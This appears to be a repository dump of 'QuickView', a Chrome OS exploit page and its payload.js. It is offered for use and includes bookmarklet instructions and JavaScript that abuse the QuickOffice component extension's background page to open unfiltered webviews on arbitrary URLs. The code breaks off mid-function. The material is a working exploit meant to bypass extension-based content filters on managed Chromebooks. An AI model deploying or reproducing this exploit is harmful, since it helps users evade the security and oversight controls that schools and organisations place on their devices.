14 |
15 |

16 |
QuickView
17 |
18 |
19 |
20 |
QuickView is a universal webview exploit in Chrome OS that utilizes the QuickOffice component extension. This exploit lets you create login windows with arbitrary URLs, thus allowing you to load pages without any extensions.
21 |
A blog post with an explanation is available on my website.
22 |
23 |
Instructions:
24 |
25 | - Drag the "QuickView Launcher" button into your bookmarks bar.
26 | - Double click on the opener button at the bottom of the page. This should open a new tab with a URL of about:blank#blocked.
27 |
- On the newly opened tab, click on the bookmarklet that was just created.
28 | - The QuickView GUI should open, and you can now enter any URL to open it in an unblocked webview.
29 | - You can open another webview at any time by visiting https://www.google.com/#%20, and this will persist until a reboot. You can also drag the "QuickView Shortcut" button from below into your bookmarks bar for easy access. However, if you want to use the full GUI, you will still have to return to this page.
30 |
31 |
If the above instructions did not work for you, you can try the standalone version here.
32 |
33 |
Bookmarks:
34 |
QuickView Launcher
35 |
QuickView Shortcut
36 |
37 |
Opener Button:
38 |
39 |
40 |
46 |
47 |
Credits:
48 |
QuickView was created by vk6#7391 and Bypassi#7037, and it is licensed under the GNU GPL v3. The source code is available at: https://github.com/ading2210/quickview
49 |
This exploit is part of the {swarm} project and utilizes a variation of the point-blank exploit.
50 |
51 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/payload.js:
--------------------------------------------------------------------------------
1 | (function(){
2 | if (window.origin !== "chrome-extension://bpmcpldpdmajfigpchkicefoigmkfalc") {
3 | alert("You ran this script on the wrong page.");
4 | return;
5 | }
6 | if (window.quickview) {
7 | alert("QuickView is already active in this tab.");
8 | return;
9 | }
10 | window.quickview = true;
11 |
12 | let from_id = (id) => {return document.getElementById(id)};
13 | let style = `
14 | * {
15 | font-family: "Inter", sans-serif;
16 | color: #e2e8f0
17 | }
18 |
19 | body {
20 | background-color: #0f172a;
21 | }
22 |
23 | .button {
24 | background-color: #1a73e8;
25 | text-decoration: none;
26 | user-select: none;
27 | font-size: 14px;
28 | padding: 10px;
29 | }
30 |
31 | #title_div {
32 | display: flex;
33 | align-items: center;
34 | gap: 16px;
35 | }
36 |
37 | #input_div {
38 | display: flex;
39 | gap: 6px
40 | }
41 |
42 | #url_input {
43 | padding: 9px;
44 | background-color: #1e293b;
45 | border: 2px solid #334155;
46 | width: 100%;
47 | }
48 |
49 | #webview_button {
50 | width: 150px;
51 | text-align: center;
52 | }
53 |
54 | #content {
55 | max-width: 600px;
56 | margin-left: auto;
57 | margin-right: auto;
58 | }`;
59 |
60 | let html = `
61 |
62 |
63 |
64 |
75 |
76 |

77 |
QuickView
78 |
79 |
83 |
Enter any URL into the box above and it will open in an unblocked webview. Note that if the page load fails, the webview will close without displaying anything.
84 |
Preset URLs:
85 |
86 |
87 |
Credits:
88 |
QuickView was created by vk6#7391 and Bypassi#7037, and it is licensed under the GNU GPL v3. The source code is available at: https://github.com/ading2210/quickview
89 |
This exploit is part of the {swarm} project and utilizes a variation of the point-blank exploit.
90 |
91 |
92 | `;
93 |
94 | let urls = {
95 | "Google": "https://google.com",
96 | "Youtube": "https://youtube.com",
97 | "Discord": "https://discord.com",
98 | "Reddit": "https://reddit.com",
99 | "Titanium Network": "https://titaniumnetwork.org"
100 | }
101 | let bg = null;
102 |
103 | function get_background(callback) {
104 | let iframe = document.createElement("iframe");
105 | iframe.style.display = "none";
106 | iframe.src = window.origin + "/scripts/common/elements/hyperlink/hyperlink.html";
107 | iframe.onload = () => {
108 | callback(iframe.contentWindow.chrome.extension.getBackgroundPage());
109 | iframe.remove();
110 | }
111 | document.body.append(iframe);
112 | }
113 |
114 | function setup_page() {
115 | let urls_list = from_id("urls_list");
116 | let url_input = from_id("url_input");
117 | for (let [name, url] of Object.entries(urls)) {
118 | let li = document.createElement("li");
119 | let link = document.createElement("a");
120 | link.innerHTML = name;
121 | link.onclick = function(){
122 | url_input.value = url;
123 | }
124 | link.href = "#";
125 |
126 | li.append(link);
127 | urls_list.append(li);
128 | }
129 | }
130 |
131 | function submit_callback() {
132 | let url = from_id("url_input").value;
133 | if (!url.startsWith("https://") && !url.startsWith("http://")) {
134 | alert("Warning: Your URL does not begin with http:// or https://.");
135 | }
136 | open_webview(url);
137 | }
138 |
139 | function open_webview(url) {
140 | let popup_html = `data:text/html,
141 |
142 |
143 |
148 |
149 |
150 |